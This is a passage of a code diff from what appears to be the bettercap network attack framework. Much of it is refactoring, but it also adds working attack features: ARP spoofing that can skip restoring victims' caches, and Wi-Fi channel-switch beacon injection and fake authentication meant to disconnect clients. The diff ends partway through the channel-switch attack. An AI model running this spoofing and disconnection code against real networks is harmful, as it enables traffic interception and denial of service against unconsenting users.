golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
golang.org/x/text v0.3.3 h1:cokOdA+Jmi5PJGXLlLllQSgYigAEfHXJAERHVMaCc2k=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac h1:MQEvx39qSf8vyrx3XRaOe+j1UDIzKwkYOVObRgGPVqI=
|
||||
golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
|
||||
golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY=
|
||||
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
|
||||
gopkg.in/sourcemap.v1 v1.0.5 h1:inv58fC9f9J3TK2Y2R1NPntXEn3/wjWHkonhIUODNTI=
|
||||
gopkg.in/sourcemap.v1 v1.0.5/go.mod h1:2RlvNNSMglmRrcvhfuzp4hQHwOtjxlbjX7UPY/GXb78=
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
honnef.co/go/tools v0.0.0-2019.2.1 h1:fW1wbZIKRbRK56ETe5SYloH5SdLzhXOFet2KlpRKDqg=
|
||||
honnef.co/go/tools v0.0.0-2019.2.1/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
|
||||
|
|
|
@ -4,6 +4,7 @@ import (
|
|||
"bytes"
|
||||
"compress/gzip"
|
||||
"encoding/base64"
|
||||
|
||||
"github.com/robertkrimen/otto"
|
||||
)
|
||||
|
||||
|
@ -13,6 +14,7 @@ func btoa(call otto.FunctionCall) otto.Value {
|
|||
if err != nil {
|
||||
return ReportError("Could not convert to string: %s", varValue)
|
||||
}
|
||||
|
||||
return v
|
||||
}
|
||||
|
||||
|
@ -21,10 +23,12 @@ func atob(call otto.FunctionCall) otto.Value {
|
|||
if err != nil {
|
||||
return ReportError("Could not decode string: %s", call.Argument(0).String())
|
||||
}
|
||||
|
||||
v, err := otto.ToValue(string(varValue))
|
||||
if err != nil {
|
||||
return ReportError("Could not convert to string: %s", varValue)
|
||||
}
|
||||
|
||||
return v
|
||||
}
|
||||
|
||||
|
|
|
@ -3,12 +3,13 @@ package js
|
|||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"github.com/robertkrimen/otto"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
|
||||
"github.com/robertkrimen/otto"
|
||||
)
|
||||
|
||||
type httpPackage struct {
|
||||
|
@ -26,7 +27,10 @@ func (c httpPackage) Encode(s string) string {
|
|||
return url.QueryEscape(s)
|
||||
}
|
||||
|
||||
func (c httpPackage) Request(method string, uri string, headers map[string]string, form map[string]string, json string) httpResponse {
|
||||
func (c httpPackage) Request(method string, uri string,
|
||||
headers map[string]string,
|
||||
form map[string]string,
|
||||
json string) httpResponse {
|
||||
var reader io.Reader
|
||||
|
||||
if form != nil {
|
||||
|
|
|
@ -3,7 +3,6 @@ package js
|
|||
import (
|
||||
"github.com/evilsocket/islazy/log"
|
||||
"github.com/evilsocket/islazy/plugin"
|
||||
|
||||
"github.com/robertkrimen/otto"
|
||||
)
|
||||
|
||||
|
|
|
@ -44,7 +44,7 @@ func NewAnyProxy(s *session.Session) *AnyProxy {
|
|||
|
||||
mod.AddParam(session.NewStringParameter("any.proxy.dst_address",
|
||||
session.ParamIfaceAddress,
|
||||
session.IPv4Validator,
|
||||
"",
|
||||
"Address where the proxy is listening."))
|
||||
|
||||
mod.AddParam(session.NewIntParameter("any.proxy.dst_port",
|
||||
|
|
|
@ -3,6 +3,7 @@ package arp_spoof
|
|||
import (
|
||||
"bytes"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
|
@ -22,6 +23,7 @@ type ArpSpoofer struct {
|
|||
fullDuplex bool
|
||||
internal bool
|
||||
ban bool
|
||||
skipRestore bool
|
||||
waitGroup *sync.WaitGroup
|
||||
}
|
||||
|
||||
|
@ -35,6 +37,7 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer {
|
|||
ban: false,
|
||||
internal: false,
|
||||
fullDuplex: false,
|
||||
skipRestore: false,
|
||||
waitGroup: &sync.WaitGroup{},
|
||||
}
|
||||
|
||||
|
@ -52,6 +55,20 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer {
|
|||
"false",
|
||||
"If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail)."))
|
||||
|
||||
noRestore := session.NewBoolParameter("arp.spoof.skip_restore",
|
||||
"false",
|
||||
"If set to true, targets arp cache won't be restored when spoofing is stopped.")
|
||||
|
||||
mod.AddObservableParam(noRestore, func(v string) {
|
||||
if strings.ToLower(v) == "true" || v == "1" {
|
||||
mod.skipRestore = true
|
||||
mod.Warning("arp cache restoration after spoofing disabled")
|
||||
} else {
|
||||
mod.skipRestore = false
|
||||
mod.Debug("arp cache restoration after spoofing enabled")
|
||||
}
|
||||
})
|
||||
|
||||
mod.AddHandler(session.NewModuleHandler("arp.spoof on", "",
|
||||
"Start ARP spoofer.",
|
||||
func(args []string) error {
|
||||
|
@ -171,6 +188,7 @@ func (mod *ArpSpoofer) Start() error {
|
|||
}
|
||||
|
||||
func (mod *ArpSpoofer) unSpoof() error {
|
||||
if !mod.skipRestore {
|
||||
nTargets := len(mod.addresses) + len(mod.macs)
|
||||
mod.Info("restoring ARP cache of %d targets.", nTargets)
|
||||
mod.arpSpoofTargets(mod.Session.Gateway.IP, mod.Session.Gateway.HW, false, false)
|
||||
|
@ -186,6 +204,9 @@ func (mod *ArpSpoofer) unSpoof() error {
|
|||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
mod.Warning("arp cache restoration is disabled")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
@ -260,7 +281,10 @@ func (mod *ArpSpoofer) arpSpoofTargets(saddr net.IP, smac net.HardwareAddr, chec
|
|||
}
|
||||
}
|
||||
|
||||
for ip, mac := range mod.getTargets(probe) {
|
||||
if targets := mod.getTargets(probe); len(targets) == 0 {
|
||||
mod.Warning("could not find spoof targets")
|
||||
} else {
|
||||
for ip, mac := range targets {
|
||||
if check_running && !mod.Running() {
|
||||
return
|
||||
} else if mod.isWhitelisted(ip, mac) {
|
||||
|
@ -306,3 +330,4 @@ func (mod *ArpSpoofer) arpSpoofTargets(saddr net.IP, smac net.HardwareAddr, chec
|
|||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -9,6 +9,7 @@ import (
|
|||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bettercap/bettercap/network"
|
||||
"github.com/bettercap/bettercap/packets"
|
||||
"github.com/bettercap/bettercap/session"
|
||||
|
||||
|
@ -83,7 +84,7 @@ func (mod *DHCP6Spoofer) Configure() error {
|
|||
return session.ErrAlreadyStarted(mod.Name())
|
||||
}
|
||||
|
||||
if mod.Handle, err = pcap.OpenLive(mod.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
|
||||
if mod.Handle, err = network.Capture(mod.Session.Interface.Name()); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
|
|
|
@ -8,6 +8,7 @@ import (
|
|||
"sync"
|
||||
|
||||
"github.com/bettercap/bettercap/log"
|
||||
"github.com/bettercap/bettercap/network"
|
||||
"github.com/bettercap/bettercap/packets"
|
||||
"github.com/bettercap/bettercap/session"
|
||||
|
||||
|
@ -100,7 +101,7 @@ func (mod *DNSSpoofer) Configure() error {
|
|||
|
||||
if mod.Running() {
|
||||
return session.ErrAlreadyStarted(mod.Name())
|
||||
} else if mod.Handle, err = pcap.OpenLive(mod.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
|
||||
} else if mod.Handle, err = network.Capture(mod.Session.Interface.Name()); err != nil {
|
||||
return err
|
||||
} else if err = mod.Handle.SetBPFFilter("udp"); err != nil {
|
||||
return err
|
||||
|
|
|
@ -2,12 +2,13 @@ package events_stream
|
|||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/bettercap/bettercap/network"
|
||||
"github.com/bettercap/bettercap/session"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bettercap/bettercap/network"
|
||||
"github.com/bettercap/bettercap/session"
|
||||
|
||||
"github.com/bettercap/bettercap/modules/net_sniff"
|
||||
"github.com/bettercap/bettercap/modules/syn_scan"
|
||||
|
||||
|
@ -119,6 +120,8 @@ func (mod *EventsStream) Render(output io.Writer, e session.Event) {
|
|||
mod.viewBLEEvent(output, e)
|
||||
} else if strings.HasPrefix(e.Tag, "hid.") {
|
||||
mod.viewHIDEvent(output, e)
|
||||
} else if strings.HasPrefix(e.Tag, "gps.") {
|
||||
mod.viewGPSEvent(output, e)
|
||||
} else if strings.HasPrefix(e.Tag, "mod.") {
|
||||
mod.viewModuleEvent(output, e)
|
||||
} else if strings.HasPrefix(e.Tag, "net.sniff.") {
|
||||
|
@ -129,7 +132,7 @@ func (mod *EventsStream) Render(output io.Writer, e session.Event) {
|
|||
mod.viewUpdateEvent(output, e)
|
||||
} else if e.Tag == "gateway.change" {
|
||||
mod.viewGatewayEvent(output, e)
|
||||
} else if e.Tag != "tick" {
|
||||
} else if e.Tag != "tick" && e.Tag != "session.started" && e.Tag != "session.stopped" {
|
||||
fmt.Fprintf(output, "[%s] [%s] %v\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), e)
|
||||
}
|
||||
}
|
||||
|
|
24
modules/events_stream/events_view_gps.go
Normal file
24
modules/events_stream/events_view_gps.go
Normal file
|
@ -0,0 +1,24 @@
|
|||
package events_stream
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
"github.com/bettercap/bettercap/session"
|
||||
"github.com/evilsocket/islazy/tui"
|
||||
)
|
||||
|
||||
func (mod *EventsStream) viewGPSEvent(output io.Writer, e session.Event) {
|
||||
if e.Tag == "gps.new" {
|
||||
gps := e.Data.(session.GPS)
|
||||
|
||||
fmt.Fprintf(output, "[%s] [%s] latitude:%f longitude:%f quality:%s satellites:%d altitude:%f\n",
|
||||
e.Time.Format(mod.timeFormat),
|
||||
tui.Green(e.Tag),
|
||||
gps.Latitude,
|
||||
gps.Longitude,
|
||||
gps.FixQuality,
|
||||
gps.NumSatellites,
|
||||
gps.Altitude)
|
||||
}
|
||||
}
|
|
@ -138,16 +138,7 @@ func (mod *GPS) readFromSerial() {
|
|||
if line, err := mod.readLine(); err == nil {
|
||||
if s, err := nmea.Parse(line); err == nil {
|
||||
// http://aprs.gids.nl/nmea/#gga
|
||||
if m, ok := s.(nmea.GNGGA); ok {
|
||||
mod.Session.GPS.Updated = time.Now()
|
||||
mod.Session.GPS.Latitude = m.Latitude
|
||||
mod.Session.GPS.Longitude = m.Longitude
|
||||
mod.Session.GPS.FixQuality = m.FixQuality
|
||||
mod.Session.GPS.NumSatellites = m.NumSatellites
|
||||
mod.Session.GPS.HDOP = m.HDOP
|
||||
mod.Session.GPS.Altitude = m.Altitude
|
||||
mod.Session.GPS.Separation = m.Separation
|
||||
} else if m, ok := s.(nmea.GPGGA); ok {
|
||||
if m, ok := s.(nmea.GGA); ok {
|
||||
mod.Session.GPS.Updated = time.Now()
|
||||
mod.Session.GPS.Latitude = m.Latitude
|
||||
mod.Session.GPS.Longitude = m.Longitude
|
||||
|
@ -156,6 +147,8 @@ func (mod *GPS) readFromSerial() {
|
|||
mod.Session.GPS.HDOP = m.HDOP
|
||||
mod.Session.GPS.Altitude = m.Altitude
|
||||
mod.Session.GPS.Separation = m.Separation
|
||||
|
||||
mod.Session.Events.Add("gps.new", mod.Session.GPS)
|
||||
}
|
||||
} else {
|
||||
mod.Debug("error parsing line '%s': %s", line, err)
|
||||
|
@ -173,6 +166,8 @@ func (mod *GPS) runFromGPSD() {
|
|||
mod.Session.GPS.Longitude = report.Lon
|
||||
mod.Session.GPS.FixQuality = ModeInfo[report.Mode]
|
||||
mod.Session.GPS.Altitude = report.Alt
|
||||
|
||||
mod.Session.Events.Add("gps.new", mod.Session.GPS)
|
||||
})
|
||||
|
||||
mod.gpsd.Subscribe("SKY", func(r interface{}) {
|
||||
|
|
|
@ -116,13 +116,7 @@ func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx)
|
|||
if jsres != nil {
|
||||
// the response has been changed by the script
|
||||
p.logResponseAction(res.Request, jsres)
|
||||
raw, err := ioutil.ReadAll(jsres.ToResponse(res.Request).Body)
|
||||
if err == nil {
|
||||
html := string(raw)
|
||||
res.Header.Set("Content-Length", strconv.Itoa(len(html)))
|
||||
// reset the response body to the original unread state
|
||||
res.Body = ioutil.NopCloser(strings.NewReader(html))
|
||||
}
|
||||
return jsres.ToResponse(res.Request)
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -5,12 +5,13 @@ import (
|
|||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bettercap/bettercap/log"
|
||||
"github.com/bettercap/bettercap/session"
|
||||
"github.com/bettercap/bettercap/modules/dns_spoof"
|
||||
"github.com/bettercap/bettercap/network"
|
||||
"github.com/bettercap/bettercap/session"
|
||||
|
||||
"github.com/elazarl/goproxy"
|
||||
"github.com/google/gopacket"
|
||||
|
@ -83,7 +84,7 @@ func (s *SSLStripper) Enable(enabled bool) {
|
|||
if enabled && s.handle == nil {
|
||||
var err error
|
||||
|
||||
if s.handle, err = pcap.OpenLive(s.session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
|
||||
if s.handle, err = network.Capture(s.session.Interface.Name()); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
|
|
|
@ -32,7 +32,9 @@ func NewNDPSpoofer(s *session.Session) *NDPSpoofer {
|
|||
mod.AddParam(session.NewStringParameter("ndp.spoof.targets", "", "",
|
||||
"Comma separated list of IPv6 victim addresses."))
|
||||
|
||||
mod.AddParam(session.NewStringParameter("ndp.spoof.neighbour", "fe80::1", "",
|
||||
mod.AddParam(session.NewStringParameter("ndp.spoof.neighbour",
|
||||
"fe80::1",
|
||||
session.IPv6Validator,
|
||||
"Neighbour IPv6 address to spoof, clear to disable NA."))
|
||||
|
||||
mod.AddParam(session.NewStringParameter("ndp.spoof.prefix", "d00d::", "",
|
||||
|
@ -122,7 +124,7 @@ func (mod *NDPSpoofer) Start() error {
|
|||
}
|
||||
|
||||
return mod.SetRunning(true, func() {
|
||||
mod.Info("ndp spoofer started - neighbour=%s prefix=%s", mod.neighbour, mod.prefix)
|
||||
mod.Info("ndp spoofer started - targets=%s neighbour=%s prefix=%s", mod.addresses, mod.neighbour, mod.prefix)
|
||||
|
||||
mod.waitGroup.Add(1)
|
||||
defer mod.waitGroup.Done()
|
||||
|
@ -179,6 +181,8 @@ func (mod *NDPSpoofer) getTargets(probe bool) map[string]net.HardwareAddr {
|
|||
// do we have this ip mac address?
|
||||
if hw, err := mod.Session.FindMAC(ip, probe); err == nil {
|
||||
targets[ip.String()] = hw
|
||||
} else {
|
||||
mod.Info("couldn't get MAC for ip=%s, put it into the neighbour table manually e.g. ping -6")
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -6,6 +6,7 @@ import (
|
|||
"time"
|
||||
|
||||
"github.com/bettercap/bettercap/log"
|
||||
"github.com/bettercap/bettercap/network"
|
||||
"github.com/bettercap/bettercap/session"
|
||||
|
||||
"github.com/google/gopacket/pcap"
|
||||
|
@ -42,7 +43,7 @@ func (mod *Sniffer) GetContext() (error, *SnifferContext) {
|
|||
* could hang waiting for a timeout to expire ...
|
||||
*/
|
||||
readTimeout := 500 * time.Millisecond
|
||||
if ctx.Handle, err = pcap.OpenLive(mod.Session.Interface.Name(), 65536, true, readTimeout); err != nil {
|
||||
if ctx.Handle, err = network.CaptureWithTimeout(mod.Session.Interface.Name(), readTimeout); err != nil {
|
||||
return err, ctx
|
||||
}
|
||||
} else {
|
||||
|
|
|
@ -7,6 +7,7 @@ import (
|
|||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/bettercap/bettercap/network"
|
||||
"github.com/bettercap/bettercap/packets"
|
||||
"github.com/bettercap/bettercap/session"
|
||||
|
||||
|
@ -115,7 +116,7 @@ func (mod *SynScanner) Configure() (err error) {
|
|||
return session.ErrAlreadyStarted(mod.Name())
|
||||
}
|
||||
if mod.handle == nil {
|
||||
if mod.handle, err = pcap.OpenLive(mod.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
|
||||
if mod.handle, err = network.Capture(mod.Session.Interface.Name()); err != nil {
|
||||
return err
|
||||
} else if err = mod.handle.SetBPFFilter(fmt.Sprintf("tcp dst port %d", synSourcePort)); err != nil {
|
||||
return err
|
||||
|
|
|
@ -9,6 +9,7 @@ import (
|
|||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
|
||||
"github.com/bettercap/bettercap/session"
|
||||
|
||||
|
@ -29,6 +30,13 @@ type UIModule struct {
|
|||
uiPath string
|
||||
}
|
||||
|
||||
func getDefaultInstallBase() string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return filepath.Join(os.Getenv("ALLUSERSPROFILE"), "bettercap")
|
||||
}
|
||||
return "/usr/local/share/bettercap/"
|
||||
}
|
||||
|
||||
func NewUIModule(s *session.Session) *UIModule {
|
||||
mod := &UIModule{
|
||||
SessionModule: session.NewSessionModule("ui", s),
|
||||
|
@ -36,7 +44,7 @@ func NewUIModule(s *session.Session) *UIModule {
|
|||
}
|
||||
|
||||
mod.AddParam(session.NewStringParameter("ui.basepath",
|
||||
"/usr/local/share/bettercap/",
|
||||
getDefaultInstallBase(),
|
||||
"",
|
||||
"UI base installation path."))
|
||||
|
||||
|
|
|
@ -54,6 +54,8 @@ type WiFiModule struct {
|
|||
assocSilent bool
|
||||
assocOpen bool
|
||||
assocAcquired bool
|
||||
csaSilent bool
|
||||
fakeAuthSilent bool
|
||||
filterProbeSTA *regexp.Regexp
|
||||
filterProbeAP *regexp.Regexp
|
||||
apRunning bool
|
||||
|
@ -88,6 +90,8 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
|||
assocSilent: false,
|
||||
assocOpen: false,
|
||||
assocAcquired: false,
|
||||
csaSilent: false,
|
||||
fakeAuthSilent: false,
|
||||
showManuf: false,
|
||||
shakesAggregate: true,
|
||||
writes: &sync.WaitGroup{},
|
||||
|
@ -215,6 +219,50 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
|||
|
||||
mod.AddHandler(probe)
|
||||
|
||||
channelSwitchAnnounce := session.NewModuleHandler("wifi.channel_switch_announce bssid channel ", `wifi\.channel_switch_announce ((?:[a-fA-F0-9:]{11,}))\s+((?:[0-9]+))`,
|
||||
"Start a 802.11 channel hop attack, all client will be force to change the channel lead to connection down.",
|
||||
func(args []string) error {
|
||||
bssid, err := net.ParseMAC(args[0])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
channel, _ := strconv.Atoi(args[1])
|
||||
if channel > 180 || channel < 1 {
|
||||
return fmt.Errorf("%d is not a valid channel number", channel)
|
||||
}
|
||||
return mod.startCSA(bssid, int8(channel))
|
||||
})
|
||||
|
||||
channelSwitchAnnounce.Complete("wifi.channel_switch_announce", s.WiFiCompleterFull)
|
||||
|
||||
mod.AddHandler(channelSwitchAnnounce)
|
||||
|
||||
fakeAuth := session.NewModuleHandler("wifi.fake_auth bssid client", `wifi\.fake_auth ((?:[a-fA-F0-9:]{11,}))\s+((?:[a-fA-F0-9:]{11,}))`,
|
||||
"send an fake authentication with client mac to ap lead to client disconnect",
|
||||
func(args []string) error {
|
||||
bssid, err := net.ParseMAC(args[0])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
client, err := net.ParseMAC(args[1])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return mod.startFakeAuth(bssid, client)
|
||||
})
|
||||
|
||||
fakeAuth.Complete("wifi.fake_auth", s.WiFiCompleterFull)
|
||||
|
||||
mod.AddHandler(fakeAuth)
|
||||
|
||||
mod.AddParam(session.NewBoolParameter("wifi.channel_switch_announce.silent",
|
||||
"false",
|
||||
"If true, messages from wifi.channel_switch_announce will be suppressed."))
|
||||
|
||||
mod.AddParam(session.NewBoolParameter("wifi.fake_auth.silent",
|
||||
"false",
|
||||
"If true, messages from wifi.fake_auth will be suppressed."))
|
||||
|
||||
mod.AddParam(session.NewStringParameter("wifi.deauth.skip",
|
||||
"",
|
||||
"",
|
||||
|
@ -502,60 +550,40 @@ func (mod *WiFiModule) Configure() error {
|
|||
|
||||
if mod.txPower > 0 {
|
||||
if err := network.SetInterfaceTxPower(ifName, mod.txPower); err != nil {
|
||||
mod.Warning("could not set interface %s txpower to %d, 'Set Tx Power' requests not supported", ifName, mod.txPower)
|
||||
mod.Warning("could not set interface %s txpower to %d, 'Set Tx Power' requests not supported: %v", ifName, mod.txPower, err)
|
||||
} else {
|
||||
mod.Debug("interface %s txpower set to %d", ifName, mod.txPower)
|
||||
}
|
||||
}
|
||||
|
||||
setRFMonMaybeFatal := false
|
||||
for retry := 0; ; retry++ {
|
||||
ihandle, err := pcap.NewInactiveHandle(ifName)
|
||||
if err != nil {
|
||||
return fmt.Errorf("error while opening interface %s: %s", ifName, err)
|
||||
}
|
||||
defer ihandle.CleanUp()
|
||||
|
||||
/*
|
||||
* Calling SetRFMon is fatal when the interface is already in monitor mode.
|
||||
* gopacket has no GetRFMon analogue to SetRFMon with which we could check this, however ...
|
||||
*/
|
||||
if !setRFMonMaybeFatal {
|
||||
if err = ihandle.SetRFMon(true); err != nil {
|
||||
return fmt.Errorf("error while setting interface %s in monitor mode: %s", tui.Bold(ifName), err)
|
||||
}
|
||||
} else {
|
||||
mod.Debug("SetRFMon on interface %s might be fatal, skipping this time", tui.Bold(ifName))
|
||||
}
|
||||
if err = ihandle.SetSnapLen(65536); err != nil {
|
||||
return fmt.Errorf("error while settng snapshot length: %s", err)
|
||||
}
|
||||
/*
|
||||
* We don't want to pcap.BlockForever otherwise pcap_close(handle)
|
||||
* could hang waiting for a timeout to expire ...
|
||||
*/
|
||||
readTimeout := 500 * time.Millisecond
|
||||
if err = ihandle.SetTimeout(readTimeout); err != nil {
|
||||
return fmt.Errorf("error while setting timeout: %s", err)
|
||||
} else if mod.handle, err = ihandle.Activate(); err != nil {
|
||||
if retry == 0 && err.Error() == ErrIfaceNotUp {
|
||||
mod.Debug("interface %s is down, bringing it up ...", ifName)
|
||||
opts := network.CAPTURE_DEFAULTS
|
||||
opts.Timeout = 500 * time.Millisecond
|
||||
opts.Monitor = true
|
||||
|
||||
for retry := 0; ; retry++ {
|
||||
if mod.handle, err = network.CaptureWithOptions(ifName, opts); err == nil {
|
||||
// we're done
|
||||
break
|
||||
} else if retry == 0 && err.Error() == ErrIfaceNotUp {
|
||||
// try to bring interface up and try again
|
||||
mod.Info("interface %s is down, bringing it up ...", ifName)
|
||||
if err := network.ActivateInterface(ifName); err != nil {
|
||||
return err
|
||||
}
|
||||
continue
|
||||
}
|
||||
if setRFMonMaybeFatal {
|
||||
} else if !opts.Monitor {
|
||||
// second fatal error, just bail
|
||||
return fmt.Errorf("error while activating handle: %s", err)
|
||||
} else {
|
||||
// first fatal error, try again without setting the interface in monitor mode
|
||||
mod.Warning("error while activating handle: %s, %s", err, tui.Bold("interface might already be monitoring. retrying!"))
|
||||
setRFMonMaybeFatal = true
|
||||
continue
|
||||
opts.Monitor = false
|
||||
}
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if err, mod.skipBroken = mod.BoolParam("wifi.skip-broken"); err != nil {
|
||||
|
|
86
modules/wifi/wifi_csa.go
Normal file
86
modules/wifi/wifi_csa.go
Normal file
|
@ -0,0 +1,86 @@
|
|||
package wifi
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"github.com/bettercap/bettercap/network"
|
||||
"github.com/bettercap/bettercap/packets"
|
||||
"github.com/google/gopacket/layers"
|
||||
"net"
|
||||
)
|
||||
|
||||
func (mod *WiFiModule) isCSASilent() bool {
|
||||
if err, is := mod.BoolParam("wifi.channel_switch_announce.silent"); err != nil {
|
||||
mod.Warning("%v", err)
|
||||
} else {
|
||||
mod.csaSilent = is
|
||||
}
|
||||
return mod.csaSilent
|
||||
}
|
||||
|
||||
func (mod *WiFiModule) sendBeaconWithCSAPacket(ap *network.AccessPoint, toChan int8) {
|
||||
ssid := ap.ESSID()
|
||||
if ssid == "<hidden>" {
|
||||
ssid = ""
|
||||
}
|
||||
hw, _ := net.ParseMAC(ap.BSSID())
|
||||
|
||||
for seq := uint16(0); seq < 256 && mod.Running(); seq++ {
|
||||
if err, pkt := packets.NewDot11Beacon(packets.Dot11ApConfig{
|
||||
SSID: ssid,
|
||||
BSSID: hw,
|
||||
Channel: ap.Channel,
|
||||
Encryption: false,
|
||||
SpectrumManagement: true,
|
||||
}, 0, packets.Dot11Info(layers.Dot11InformationElementIDSwitchChannelAnnounce, []byte{0, byte(toChan), 1})); err != nil {
|
||||
mod.Error("could not create beacon packet: %s", err)
|
||||
continue
|
||||
} else {
|
||||
mod.injectPacket(pkt)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (mod *WiFiModule) startCSA(to net.HardwareAddr, toChan int8) error {
|
||||
// if not already running, temporarily enable the pcap handle
|
||||
// for packet injection
|
||||
